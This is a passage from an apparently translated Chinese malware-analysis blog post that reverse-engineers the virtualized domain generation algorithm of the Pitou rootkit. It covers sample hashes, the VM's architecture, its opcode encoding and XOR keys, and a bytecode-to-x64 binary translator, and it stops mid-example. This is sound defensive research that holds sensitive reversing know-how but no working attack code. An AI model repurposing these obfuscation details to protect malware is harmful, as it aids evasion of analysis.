1. 大部分DGA通常没有明显的保护措施。
2. 大部分DGA相对容易本地实现。无论是通过API调用，如DnsQuery和gethostbyname，还是通过模拟，例如add al, 61h 。
3. 大部分DGA是简洁易懂的。如果使用Hex Rays这样的反编译器，分析更加容易，可以生成非常接近源代码的结果。
4. DGA的模式基本上是清晰的。例如，组成域名的字母是通过将一个随机数映射到字母a-z的方法在循环中确定的。
Pitou的DGA与一般的DGA有四个不同点：
1. 整个域名生成算法，包括种子，都是虚拟化的。虚拟机是一种特别有效的代码保护形式，分析起来很有挑战性，或者至少非常耗时。
2. Pitou是一个具有动态解析API调用的木马(rootkit)。此外，Pitou使用NDIS钩子来隐藏网络通信。由于第1点中给出的原因，使用通常的DGA模式是不可行的。
3. DGA非常长，对于种子需要进行复杂的基于日期的计算。
4. DGA有两个严重的错误（bug），这使得它更加难以理解。
这些原因，尤其是第一个原因，使得Pitou成为迄今为止我分析的最难的域名生成算法。
## 前人的工作
这篇博客文章专门分析Pitou的DGA，故不涉及所有其他方面。
2014年8月，F-Secure研究人员发表了一篇关于Pitou的[优秀报告](https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf)，我强烈建议阅读该报告，以便了解更多关于Pitou的特性。[随附的博客文章](https://www.f-secure.com/weblog/archives/00002738.html)简要回答了关于Pitou的最重要的问题。该报告中有一个关于DGA的专门章节，其中提到了算法的一些属性。但是，没有列出算法本身，也没有列出运行DGA的虚拟机的详细信息。
2016年1月，赛门铁克(Symantec)在其安全中心发布了一篇Pitou的文章。它列出了恶意软件可能连接到的20个域名，但没有提到这些域名仅具有有限的生命周期。
2018年1月，TG
软件研究中心(C.R.A.M.)发布了一篇关于Pitou的博客文章。该文章列出了四个域名，但是没有提到，更没有讨论产生这些域名的域名生成算法。
在这篇博文发布的14天前，Brad Duncan在SANS Internet Storm博客上发表了一篇标题为[Rig Exploit Kit send
Pitou.B
Trojan](https://isc.sans.edu/diary/25068)的日志。他还在自己的[个人博客](https://www.malware-traffic-analysis.net/2019/06/25/index.html)上写了两篇关于另外两个不同的Pitou样本的文章。这表明即使在F-Secure报告的5年后，Pitou和它的DGA仍然是相关的。正如博客文章末尾的表格所示，带有原始种子的DGA仍然在使用，这可能要归功于对DGA的良好保护。
## 域名例子
下面的Wireshark截图显示了2019年6月20日查询的20个域名：
这些域名使用一些不常见的顶级域，如.mobi和.me，尽管这些域名的辅音和元音在某种程度上交替使用，来产生类似可发音的效果，但是依然可以很容易通过人工检查出来。
## 本次分析样本
我对以下文件进行了逆向，它被ESET、Ikarus和Microsoft检测为Pitou。
MD5 | 28060e9574f457f267fab2a6e1feec92
---|---
SHA1 | 9529d4e33498dd85140e557961c0b2d2be51db95
SHA256 | 43483385f68ad88901031ce226df45b217e8ba555916123ab92f63a97aef1d0e
文件大小 | 522K
编译时间戳 | 2017-10-31 10:15:25 UTC
链接 |
[VirusTotal](https://www.virustotal.com/en/file/43483385f68ad88901031ce226df45b217e8ba555916123ab92f63a97aef1d0e/analysis/1509542832/)
将文件解压缩到二进制文件，解压后Avast、AVG和Fortinet也将其检测为Pitou。
MD5 | 70d32fd5f467b5206126fca4798a2e98
---|---
SHA1 | 6561129fd718db686673f70c5fb931f98625a5f0
SHA256 | f43a59a861c114231ad30d5f9001ebb1b42b0289777c9163f537ac8a7a016038
文件大小 | 405K
编译时间戳 | 2017-08-22 10:24:10 UTC
链接 |
[VirusTotal](https://www.virustotal.com/en/file/f43a59a861c114231ad30d5f9001ebb1b42b0289777c9163f537ac8a7a016038/analysis/)
上面的可执行文件会在之后删除掉木马。Pitou分别包含一个32位和一个64位模块来支持这两种体系结构。
32-bit
MD5 | 9a7632f3abb80ccc5be22e78532b1b10
---|---
SHA1 | 2d964bb90f2238f2640cb0e127ce6374eaa2449d
SHA256 | ab3b7ffaa05a6d90a228199294aa6a37a29bb42c4257f499b52f9e4c20995278
文件大小 | 431K
编译时间戳 | 2017-03-22 01:21:01 UTC
链接 |
[VirusTotal](https://www.virustotal.com/en/file/ab3b7ffaa05a6d90a228199294aa6a37a29bb42c4257f499b52f9e4c20995278/analysis/)
64-bit
MD5 | 264a210bf6bdded5b4e35f93eca980c4
---|---
SHA1 | 8f6ff0dd9b38c633e6f13bde24ff01ab443191f6
SHA256 | ddb82094dec1fc7feaa4d987aee9cc0ec0e5d3eb26ba9264bb6ad4aa750ae167
文件大小 | 478K
编译时间戳 | 2017-02-27 06:13:41 UTC
链接 |
[VirusTotal](https://www.virustotal.com/en/file/ddb82094dec1fc7feaa4d987aee9cc0ec0e5d3eb26ba9264bb6ad4aa750ae167/analysis/)
这里，我只分析了64位版本。
## 虚拟机
这部分介绍保护DGA的虚拟机，以及Pitou组件的其他功能。首先展示虚拟机的主要组成。然后，讨论VM及其字节码的属性。
### 组件
Tim Blazytko和Moritz
Contag的[这段视频](https://youtu.be/TDnAkm6ZTYw?t=690)很好地介绍了虚拟机的主要组件，包括：
* VM入口/ VM出口
* VM调度器
* 处理程序表
**VM入口**
VM入口和出口负责上下文的切换。VM入口将本机上下文(寄存器和标志)复制到虚拟环境。在下面的屏幕截图中展示了进入虚拟机。
根据x64调用约定将四个参数传递给虚拟化的DGA(rcx、rdx、r8和r9中)。在讨论DGA的参数时，我将重新讨论这些参数及其含义。对DGA的调用会在堆栈上产生一个返回值，该值稍后在调用ret退出时用于VM退出，以便在调用DGA之后立即跳回到原来代码处。调用将指向原来代码处：
这个5字节长度的调用，位于VM执行字节码的中间。调用的目的是将接下来地址的地址(用entry_point_bytecode标记)放入堆栈。这个地址是虚拟DGA的入口点，并不在字节码的开头。然后调用跳转到虚拟机的开始。从46个不同的位置可以进行虚拟机的调用，意味着有46个不同的字节码起点，而所有起点可能都实现了Pitou的不同组件，例如：
因为原生代码也可以在字节码的中间，如call指令，所以VM必须能够识别该指令并跳过它。稍后我们将看到这是如何实现的。
VM本身启动如下：
本机上下文被复制到虚拟上下文，通过寄存器rsi进行访问。复制的内容包括：
* 标志位，通过pushfq
* 通用寄存器rax、rbx、rcx、rdx、rdi、rsi和r8到r15。寄存器rip、rsp和rbp不会被复制，因为VM本身会使用它们。
* XMM寄存器，尽管没有任何虚拟指令修改它们。
屏幕截图的最后一行pop rax，从堆栈中删除虚拟代码的入口点。这个入口点也保存在虚拟上下文中：
上面的截图显示了VM
入口如何检查入口点是否在字节码中。我将字节码的最低地址命名为imagebase，将最高地址命名为highest_addr。如果入口点在此范围内，则将虚拟指令指针设置为入口点。这就是VM入口。
**VM调度器（Dispatcher）**
调度器的任务是获取和解码指令。处理程序（handler）通常属于被调用的操作码，Pitou的VM也不例外。同时这个处理程序（handler）还负责更新VM的上下文，特别是指令指针。
下面的截图展示了VM调度器。首先，读取虚拟指令指针(1)。如果设置了控制寄存器CR8，则指令指针转换为从入口点开始的偏移量，并触发软件中断(2)。然后调度器读取指令指针上的字节。如果它指向E8(4)，则VM处于本地调用，用于将入口点传递给VM（详情见VM入口部分）。调用的五个字节被简单地跳过(5)。其他所有字节的值都是有效的字节码。最不重要的6比特对应于操作码，它引用处理程序表中的函数。然后VM跳转到这个函数(6)。
6位可以表示多达64个不同的函数，其中0x28被排除，因为它对应于保留字节0xE8中的操作码部分。然而，只有处理程序表中的前29个条目指向不同的程序。我根据调用它们的主操作码将它们标记为instruction_00到instruction_1C。从操作码0x1D开始，重用之前的函数，例如，0x1D使用操作码0x03的处理程序。一些处理程序函数只由一个操作码访问，而另一些则由多个操作码访问。例如，0x07、0x47、0x87、0xc7都映射到同一个处理程序。
**VM出口**
虚拟jmp/call/ret指令(处理程序0x02)同样控制VM出口。这个处理程序的详细说明在附录部分。下面处理程序的截屏展示了如何从虚拟上下文恢复本地寄存器。退出VM的操作很简单：通过使用堆栈上的地址，处理程序最后只返回VM入口之后的代码。
### 属性
Pitou的虚拟机是基于堆栈的，其执行64位代码。至少64位模块是这样做的，32位的模块可能有32位虚拟指令。接下来说明虚拟机的属性。所有说明的完整列表可在附录中找到。
**寄存器**
VM使用x64通用寄存器和标志的虚拟副本。正如所预料的，它还具有一个虚拟指令指针、一个虚拟堆栈指针和一个虚拟基指针。此外，还有两个状态寄存器可用，被用于跳转:
##### 指令集
虚拟指令的长度从1字节到11字节不等。正如VM调度器部分介绍的，第一个字节的最低6位是代表处理程序函数的操作码。最高的2位可用于选择处理程序中的变量。只有第一个字节是必需的。事实上，许多虚拟指令只有1字节长。通常由前缀的两位之一决定后面跟着一个或两个可选的指定字节。格式因指令而异(例如，它可以包含关于指令使用哪个内存段的信息、或者下面的操作数是否有正负之分，或者指令的大小)。在可选说明符之后，可能会跟着一个可选操作数。
操作数以小端顺序存储，可以是字节（bytes）、字（words）、双字（double-words）或四字（quad-words）。操作数和说明符使用以下密钥进行异或加密：
* 字节是用0x57加密
* 字用0x13F1加密
* 双字用0x69B00B7A加密
* 四字用0x7EF5142A570C5298加密
例如，操作数AB01加密后值为0x125A (0x01AB
XOR0x13F1)。跳转目标地址相对于虚拟代码的初始地址。例如，如果虚拟代码从0xFFFFF87EC582C000开始，那么带有解密操作数0x123的跳转将把虚拟指令指针设置为0xFFFFF87EC582C123。指令0x01、指令0x04、指令0x06和指令0x18可以使用虚拟代码的相对地址。处理程序0x18指令也可以使用可执行程序初始地址的相对地址。这允许处理程序访问VM外部的内存。DGA使用这个地址来读取静态字符串，比如顶级域列表。这是唯一一条与位置无关的指令，即如果虚拟代码放置在其他位置，则需要重新定位。
看一个例子：如果设置为0，则跳转至地址0xfffff8800586c445的虚拟指令JZ 0xfffff8800586c445编码如下：
* 条件跳转是处理程序0x06。这个处理程序使用前两个比特位。
* 第一个比特位决定条件是一元(0)还是二元比较(1)。在我们的例子中，为一元条件。第二个比特位只适用于二元比较。总的来说，第一个字节是0x06。
* 说明符的前两个比特(最重要的)决定标志如何组合。1 0表示如果设置了所有选中的标志，则满足条件。剩下的6个比特是用作各种标志的比特掩码。JZ指令只需要查看ZF标志，因此比特掩码中只设置了这个位。整个说明符是0xDF，然后用密钥0x57加密它，得到最终的值0x88。
* 跳转目标地址计算如下：从目标(0xfffffff8800586c445)中减去镜像基址（image base） (0xfffff87EC582C000)，然后对结果进行异或加密(密钥0x7EF5142A570C5298)。
**虚拟栈**
由于虚拟机是基于堆栈的，所以堆栈非常重要。虽然虚拟机模拟64位代码，即它最多处理64位的值，但堆栈宽128位。每个堆栈实体由两个64比特槽位组成。大多数指令只使用存储在较低地址的槽位，显示在堆栈图左侧的部分。我将这个槽位称为值槽或常规存储槽。另一个槽比第一个槽高64位，通常用于存储左槽（值槽）里值的地址。我把这个槽位称为额外槽位。
和正常情况一样，该堆栈遵循“后进先出”原则。它向较小的地址增长，向较大的地址收缩。虚拟堆栈寄存器变量指向堆栈中的最后一项。
## 逆向工程
这部分讨论虚拟机的逆向。起初，我编写了一个反汇编程序，但对它的输出不满意，单独来看还是太复杂了，难以理解。特别是缺少用于用户定义指令的工具，使得分析变得困难。
第二种方法是将虚拟代码变成C代码。这工作得出奇的顺利，最终实现了一个算法，虽然还是很复杂，还有一些错误，但已经很容易理解了。我使用DGA的一部分作为例子来说明算法的四个步骤，选取的这部分对应一个简单的数学语句，可以用C语言写成一行。这应该能让你了解每个步骤的结果有多长，以及它们是多么的难以理解。
### 方法一：反汇编
分析VM的通常步骤如下（更加详细的步骤可以看这本书[[Practical Reverse Engineering: x86, x64, ARM,
Windows Kernel, Reversing Tools, and
Obfuscation](https://www.amazon.com/Practical-Reverse-Engineering-Reversing-Obfuscation/dp/1118787315/)]）:
9. 研究如何从字节码解码指令，特别是哪些位是决定处理程序函数的操作码，像之前在VM 调度器部分所讲的，第一个字节的最低6个比特指定处理程序，该处理程序对指令的其余部分进行解码，并将指令指针前置。
10. 了解VM的体系结构。这在虚拟机部分已经介绍了。
11. 最后，必须分析处理程序。这是分析中最耗时的部分。在Pitou中，有29个必须进行逆向的不同函数。
下面的截图显示了第一个操作码0x00对应的处理程序。函数不是很长，更幸运的是没有进行混淆。
下图显示了操作码0x00(别名0x2F和0x35)的指令编码以及对堆栈的影响。
指令编码字段的含义：
范围 | 比特 | 描述
---|---|---
设置大小 | 1 | 0: 没有设置大小, 默认是双字, 1: 大小 (大小占1 字节)
操作码 | 6 | 必须是 0x00, 0x2F 或 0x35
大小 | 8 | (可选项) 操作大小, 0: 字节, 1: 字, 2: 双字, 3: 四字
处理程序使用前缀的第一个比特确定是否设置可选的操作大小。如果该位没有设置，则假定操作为32位，并且指令只有一个字节长。另一方面，如果设置了，则必须跟随另一个字节，其中最低的两位决定操作的大小。0代表一个字节（8位），1代表一个字（16位），2代表一个双字（32位，默认选项），3代表一个四字（64位）。该指令从堆栈中弹出两个值，对它们进行异或并将结果压回到堆栈中，将值转换为指定的大小。反汇编器很容易重新实现这个处理程序：
12. 检查是否设置了has size位，如果设置了，则读取下一个字节，并根据最后两个位(0表示字节等)确定数据大小。否则，默认是双字大小。
13. 输出XOR <size>。
14. 如果设置了has size位，则将指令指针加2，如果没有则加1。
在重新实现所有29个处理程序之后，可以对字节码进行反汇编。下面摘录自己反汇编的字节码，展示了 XOR dword edx,
edx，即将寄存器edx归零，虚拟指令及其对x64指令堆栈的影响：
FFFFF8800585817C NOP
(empty stack)
FFFFF8800585817D PUSH dword (rdx, addr(rdx))
| rdx | addr(rdx) |
FFFFF8800585817F PUSH dword (addr(rdx), addr(rdx))
| addr(rdx) | addr(rdx) |
| rdx | addr(rdx) |
FFFFF88005858181 DREFH dword
| rdx | addr(rdx) |
| rdx | addr(rdx) |
FFFFF88005858182 XOR dword
| edx XOR edx | addr(rdx) |
FFFFF88005858183 P2E dword
(empty stack)
1. 第一个指令NOP，是空指令，什么也不做。
2. 寄存器rdx与处理程序0x12一起被推送到堆栈上，但是对于推送地址标志使用了两种不同的设置：第一个PUSH将寄存器rdx的值推入堆栈的值槽，第二个PUSH推入寄存器rdx的地址(在这两种情况下，地址都存储在堆栈实体的额外槽位中)。
3. 栈顶寄存器rdx的地址由DREFH dword得到。堆栈上的两个实体的rdx现在是相同的。我不明白为什么编译器一开始没推入地址而不是寄存器。
4. XOR dword指令从最上面的两个堆栈实体中获取值，进行异或并将结果推回到堆栈上。额外槽位保持不变，也就是，在异或操作之前，该额外槽位的值是栈顶的元素值。
5. 最后，指令 P2E dword 从堆栈中弹出实体，并将值槽(edx异或edx)移动到额外槽提供的内存地址中-addr(rdx)。这意味着，虚拟寄存器rdx被设置为0。
下面是示例代码片段的字节码，如引言中所述，它对应于DGA中的一个简单数学语句：
反汇编器从上面的字节码生成以下代码：
第一个数字是每一行的地址。蓝色方块中的数字是处理程序编号。之后是组成指令的字节。大多数是1或2字节长，但也有更长的指令，如10字节长度的条件跳转指令。该指令的助记符位于字节码之后，并带有一些语法高亮显示。由于我放弃了反汇编方法，所以目前的助记符并不都是特别好的选择和有意义的，在附录中你可以找到它们。
如果耐心等待，我们或许可以从反汇编器的输出中提取DGA。然而，我放弃了这个方法，因为：
1. 反汇编程序的输出非常长，共有3681行。
2. 虚拟机使用特殊的指令，如上面所示的P2E或DREFH。这些都是新指令，需要练习才能快速掌握。
3. 没有工具可以很好地显示输出，例如，可以帮助查看代码流的图形工具。
有多种方法可以使反汇编更具可读性，例如：
1. 添加模式以减少行数。例如，上面组成XOR edx、edx的6行代码非常常见。巧妙的模式匹配可以大大减少行数。
2. 将反汇编程序实现为一个IDA Pro处理模块。在IDA中提供很多可用的注释工具，将提供一个很好的图形视图，使代码更具可读性。
我没有去实现这些想法，因为我心里有一个更诱人的目标：将虚拟代码反编译为C。你可以使用[Github上的Python脚本](https://github.com/baderj/pitou)自己运行反汇编程序：
python3 main.py disassembly -o pitou.dis
### 方法二：反编译器
接下来展示如何将虚拟代码反编译为C代码。我的计划是首先将字节码转换为x64程序集，然后将其组装为x64二进制文件。之后，使用IDA Pro中的Hex
Rays插件打开该文件并生成x64反汇编代码和C代码。采用这样的步骤，目的是能够使用已有的工具，特别是Hex
Rays反编译器。这一点值得特别注意，因为DGA中使用了许多整数乘除法实例，这些实例在汇编中很难读取，但是反编译器可以很好地处理它们。
**步骤1：动态二进制翻译器**
在这四个步骤中，唯一没有工具的步骤是将VM的字节码转换为x64程序集。二进制翻译的任务是将虚拟指令序列重新编译成x64汇编。
我决定通过模拟字节码并同时动态输出相应的x64指令来进行转换。为了模拟虚拟指令，我使用了方法1中的反汇编器。其提供了指令的解码以及代码的递归遍历。由于VM是基于堆栈的，因此必须模拟堆栈。每个堆栈槽跟踪两个方面:
1. 立即数或寄存器名。我将其标记为堆栈的值槽和额外槽位两个槽位的值部分（值和额外值（value和extra），见下面表格的形式）。
2. 仅当(1)是寄存器时，指向堆栈上的寄存器值的汇编指令列表（（1）见VM调度器部分）。这个指令列表可以是空的。我给指令列表加上了值指令和额外指令的标签。
下面将展示如何模拟大多数的虚拟指令。我希望可以讲清楚这个方法。不管怎样，如果想获得更多的细节，可以看我在[Github](https://github.com/baderj/pitou/tree/master/disassemblerdecompiler)上的二进制翻译程序的源代码都。
**一元操作**
一元操作的虚拟指令包括NEG；INC 和DEC；NOT；SHR, SHL, ROR, ROL, SAR, 和SAL。它们都使用以下方式反编译：
1. 从堆栈中弹出一个值。如下面示例中的rcx。
2. 如果值是寄存器，则根据指令的大小进行转换，例如，Dword将把rcx转换为ecx。转换后的寄存器成为新堆栈实体的值。
3. 如果弹出堆栈元素中存在值指令（value instructions），则将其组合起来。然后添加<助记符(mnemonic)> <大小(size)> <值(value)>，如NEG DWORD ecx。将指令序列设置为新堆栈元素的值指令。
4. 将额外值和额外指令从弹出的堆栈元素复制到新元素的额外槽位的相应位置。
5. 将新的堆栈元素压入堆栈。
反编译器只影响堆栈，没有任何输出。下表显示调用NEG处理程序之前的堆栈(未设置大小标志)：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
rcx | ADD rcx, 10 SHR rcx, 2 | addr(rcx) |
调用处理程序后：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
ecx | ADD rcx, 10 SHR rcx, 2 NEG DWORD ecx | addr(rcx) |
注：这里作者将之前虚拟栈中讲的槽位进行再次划分，每个槽位划分为值部分和指令部分。
**二元操作**
有7条虚拟指令执行二进制操作：XOR、SBB、SUB、OR、AND、CMP和ADD，二元算术指令的处理类似于一元运算：
1. 从堆栈中弹出两个值。下面的例子中的[r10 + 1]和rax，第一个值是指令的源操作数，第二个是目的操作数。
2. 如果目的操作数值是寄存器，则根据指令的大小进行转换。例如Word把rax转换为al。转换后的目标寄存器成为新堆栈元素的值。
3. 如果弹出的两个元素中含有值指令则将其组合在一起。然后添加 <助记符(mnemonic)> <大小(size)> <目标值(target value)>, <源值(src value)>，如XOR byte al, [r10 + 1]。将指令序列设置为新堆栈元素的值指令。
4. 将第二个弹出堆栈元素的额外（extra）和额外指令（extra instructions）的值复制到新元素的额外槽位的对应位置。
5. 将新的堆栈元素压入堆栈。
像=与一元操作类似，反编译器只更改堆栈，没有任何输出。下表显示调用XOR处理程序之前的堆栈，设置了大小（size）标志，设置为0(表示字节)：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
[r10 + 1] | SHR r10d, 2 | r10 | ADD QWORD r10, 1
rax | SHL rax, 2 | addr(rax) |
xor操作后，堆栈更改为：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
al | SHR r10d, 2 SHL rax, 2 XOR BYTE al, [r10 + 1] | addr(rax) |
**移动操作**
写数据的虚拟指令有M2E、M2V、P2E和P2V。例如，M2E指令将堆栈顶部元素值槽中的数据移动到额外槽指定的内存位置。通常，额外槽位包含虚拟寄存器的地址，最终值槽中的数据被移动到虚拟寄存器。例如，如果应用到下面的栈中，rsp的内容将被写入rax：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
rsp | SUB QWORD rsp, 8 | addr(rax) | SHL QWORD rax, 3 ADD QWORD rax, 1
这个操作对应于汇编中的MOV rax,
rsp。但是，在值指令和额外指令列中可以看到，rsp和rax在堆栈上已经进行了修改：转换已影响了堆栈。所以这些操作需要反编译器在MOV语句之前进行简单地更改来实现：
SHL QWORD rax, 3
ADD QWORD rax, 1
SUB QWORD rsp, 8
MOV rax, rsp
在虚拟机的大多数字节码序列中，目的操作数和源操作数都是相同的。在这些情况下，MOV被移除，例如，MOV rsp,
rsp不会被写入。现在这些指令已经被实现了，如果处理程序还没有完全弹出堆栈，那么它们将从相应的堆栈槽中删除（像P2E,
P2V），值（value）和额外（extra）列保持不变。
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
rsp | | addr(rax) |
从堆栈中弹出也是同样的操作。在堆栈上POP dword rax ：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
rdx | SHR rdx, 2 | addr(rdx) |
结果返回一个空堆栈，可以翻译表示为：
SHR rdx, 2
MOV DWORD eax, edx
这种方法有一个小问题。考虑一下上述操作可能产生的这三行指令，前两行源于实现值指令字段，最后一行是实际移动。
SHL QWORD rax, 2
ADD QWORD rax, r11
MOV QWORD rcx, rax
这里的问题是，第一行修改了rax，而第二条指令再次使用。然而，因为所有操作都发生在堆栈上，所以原始的虚拟寄存器不会被更改。在本例中，有一个简单的修复方法：操作的目标寄存器rcx在之前的汇编中没有使用。因此，它可以作为寄存器rax的替代品。这样就可以使用汇编指令MOV
rcx,rax来复制值。而这时，MOV rcx, rax可以省略，因为计算已经使用了rcx：
MOV rcx, rax
SHL QWORD rcx, 2
ADD QWORD rcx, r11
不幸的是，这种方法并不能总是奏效，如下面的例子所示：
SHL QWORD rax, 1
ADD QWORD rax, rax
在这种情况下，对移动指令的目标寄存器rax进行计算操作，因此rax被消除。最终目标rax作用与污点寄存器类似。在这些情况下，二进制转换使用r15作为临时寄存器。显然，这个寄存器是可以被使用的，所以它首先存储在堆栈中，在结束时被恢复。我从[rsp-1000]中任意选择。由于除了RET之外虚拟机不使用本地堆栈，所以这应该不会造成任何问题。保存r15之后，它将接收执行MOV
r15, rax的污点寄存器rax的值。然后按照原来的两行代码，将rax替换为r15。最后，将r15移回rax，并且从堆栈中还原r15：
MOV [rsp-1000], r15
MOV r15, rax
SHL QWORD r15, 1
ADD QWORD r15, rax
MOV rax, r15
MOV r15, [rsp-1000]
**跳转和调用**
JMP、CALL和RET处理程序本质上是带有一些附加步骤的一元操作。首先，弹出堆栈中的值：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
0xFFFFF8800588FCBA | | 0xFFFFF8800588FCBA |
堆栈变为空。如果该值是一个字节码地址，那么反编译器会在十六进制字符串前加上addr，为跳转目标生成一个标签，如：
JMP _addr_FFFFF8800588FCBA
在目标地址也有同样的标签：
ADD QWORD rsp, 8
RET
_addr_FFFFF8800588FCBA:
MOV DWORD eax, 1
目标也可以是符号表达式。其中，[rsp]非常有趣，因为JMP [rsp]在本质上与RET相同。上面的反编译器片段显示了一个使用RET替代JMP
[rsp]的例子。
**条件跳转**
条件跳转if
x→y很容易实现：根据上一节中的表格确定助记符，然后如果给定的是相对偏移量，则将目标转换为绝对地址。跳转目标的处理与处理程序0x02相同。一个输出例子：
JNZ _addr_FFFFF8800588FCBA
处理程序0x0B中的虚拟数据类型转换只需要转换为相应的助记符和输出。
**移除栈元素**
处理程序POPD从栈中移除n个元素，并且输出值槽和额外槽中的所有指令。如：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
r10d | AND DWORD r10d, r10d | addr(r10) |
r8d | XOR DWORD r8d, r8d | addr(r8) |
ebx | AND DWORD ebx, ebx | addr(rbx) |
变成：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
ebx | AND DWORD ebx, ebx | addr(rbx) |
输出：
AND DWORD r10d, r10d
XOR DWORD r8d, r8d
**交换栈元素**
STACKSWP处理程序交换栈两个顶部元素中的值槽，包括值指令部分。例如：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
r10d | AND DWORD r10d, r10d | addr(r10) |
r8d | XOR DWORD r8d, r8d | addr(r8) |
变成：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
r8d | XOR DWORD r8d, r8d | addr(r10) |
r10d | AND DWORD r10d, r10d | addr(r8) |
没有输出。
**取消引用**
取消引用只发生在堆栈上，不生成任何输出。例如：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
rax | ADD QWORD rax, rsp ADD QWORD rax, 56 | addr(rax) |
变成：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
[rsp + rax + 56] | | rax | ADD QWORD rax, rsp ADD QWORD rax, 56
如果取消引用发生，转换还会将ADD指令替换为+。因此，在许多情况下，取消引用可以清除指令并将其移动到值（value）部分。
**不改变堆栈的虚拟指令**
两个什么也不做的指令：NOP,TRIPLE。两个修改无关紧要状态变量的指令：SET1,STATE。对这四个指令进行二进制转换，没有任何变化。
**乘法和除法**
乘法(MUL)和除法(DIV)是特别的：首先，将两个虚拟寄存器rax和rdx复制到本地寄存器。然后从堆栈中弹出一个值，如：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
rcx | | addr(rcx) |
栈清空。然后执行MUL <大小> <弹出的值>或者DIV <大小><弹出的值>，例如，MUL BYTE
cl。结果不会再压到堆栈上，相反的是，虚拟上下文存储这两个本地寄存器rax和rdx。
有符号乘法(IMUL)的工作方式也不同。指令从堆栈中弹出两个值。第一个存入rdx，第二个存入rax。然后根据大小计算IMUL Byte dl、IMUL
Word dx、IMUL Dword edx或IMUL Qword rdx。最后，rdx和rax被压回到堆栈上。
例如，执行之前的栈：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
r9 | | addr(r9) |
rax | | addr(rax) |
执行后为：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
rdx | | addr(rax) |
rax | | addr(r9) |
这个过程的汇编代码：
MOV rdx, r9d
IMUL DWORD rdx
**压入**
处理程序0x18和0x12中的两个PUSH指令将最近的寄存器或寄存器的地址压入栈。二进制转换只改变堆栈，而不产生任何输出。
例如，压入寄存器rbp：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
rax | | addr(rax) |
执行后：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
rbp | | addr(rbp) |
rax | | addr(rax) |
**xDIAGy**
比较奇怪的指令MDIAG, MDIAGA, PDIAG, PDIAGA只影响栈，进行翻译只需要移动栈内元素。例如在栈上执行PDIAG：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
r9 | ADD QWORD r9, -1 | addr(r9) |
rax | | addr(rax) |
结果为：
值（value） | 值指令（value instructions） | 额外值（extra） | 额外指令（extra instructions）
---|---|---|---
rax | | r9 | ADD QWORD r9, -1
**例子：二进制转换**
下面的代码片段显示了反汇编和生成的x64程序集
FFFFF880058766F6 NOP
FFFFF880058766F7 PUSH dword (addr(r8), addr(r8))
FFFFF880058766F9 DREFH dword
FFFFF880058766FA PUSH dword (r8, addr(r8))
FFFFF880058766FC AND dword
FFFFF880058766FD POPD
▶ AND DWORD r8d, r8d
FFFFF880058766FE NOP
FFFFF880058766FF STATE 1
FFFFF88005876700 IF NOT ZF -> JMP 0xFFFFF8800587C8F8
▶ JNZ _addr_FFFFF8800587C8F8
FFFFF8800587670A NOP
FFFFF8800587670B PUSH dword (51EB851Fh, 51EB851Fh)
FFFFF88005876710 POP dword rax
▶ MOV DWORD eax, 1374389535
FFFFF88005876712 NOP
FFFFF88005876713 PUSH dword (addr(r9), addr(r9))
FFFFF88005876715 DREFH dword
FFFFF88005876716 PUSH dword (rax, addr(rax))
FFFFF88005876718 IMUL dword
▶ MOV rdx, r9
▶ IMUL DWORD r9d
FFFFF88005876719 POP dword rdx
FFFFF8800587671B POP dword rax
FFFFF8800587671D NOP
FFFFF8800587671E PUSH dword (addr(rdx), addr(rdx))
FFFFF88005876720 DREFH dword
FFFFF88005876721 PUSH byte (5h, 5h)
FFFFF88005876724 SAR dword
FFFFF88005876726 P2E dword rdx
▶ SAR DWORD edx, 5
FFFFF88005876727 NOP
FFFFF88005876728 PUSH dword (addr(rdx), addr(rdx))
FFFFF8800587672A DREFH dword
FFFFF8800587672B POP dword rax
▶ MOV DWORD eax, edx
FFFFF8800587672D NOP
FFFFF8800587672E PUSH dword (addr(rax), addr(rax))
FFFFF88005876730 DREFH dword
FFFFF88005876731 PUSH byte (1Fh, 1Fh)
FFFFF88005876734 SHR dword
FFFFF88005876735 P2E dword rax
▶ SHR DWORD eax, 31
FFFFF88005876736 NOP
FFFFF88005876737 PUSH dword (rdx, addr(rdx))
FFFFF88005876739 PUSH dword (addr(rax), addr(rax))
FFFFF8800587673B DREFH dword
FFFFF8800587673C ADD dword
FFFFF8800587673D P2E dword rdx
▶ ADD DWORD edx, eax
FFFFF8800587673E NOP
FFFFF8800587673F PUSH dword (addr(rdx), addr(rdx))
FFFFF88005876741 DREFH dword
FFFFF88005876742 PUSH byte (64h, 64h)
FFFFF88005876745 IMUL dword
▶ MOV rax, 100
▶ IMUL DWORD edx
FFFFF88005876746 POPD
FFFFF88005876747 PUSH dword (addr(rdx), addr(rdx))
FFFFF88005876749 PDIAG
FFFFF8800587674A P2E dword rdx
▶ MOV DWORD edx, eax
FFFFF8800587674B NOP
FFFFF8800587674C PUSH dword (r9, addr(r9))
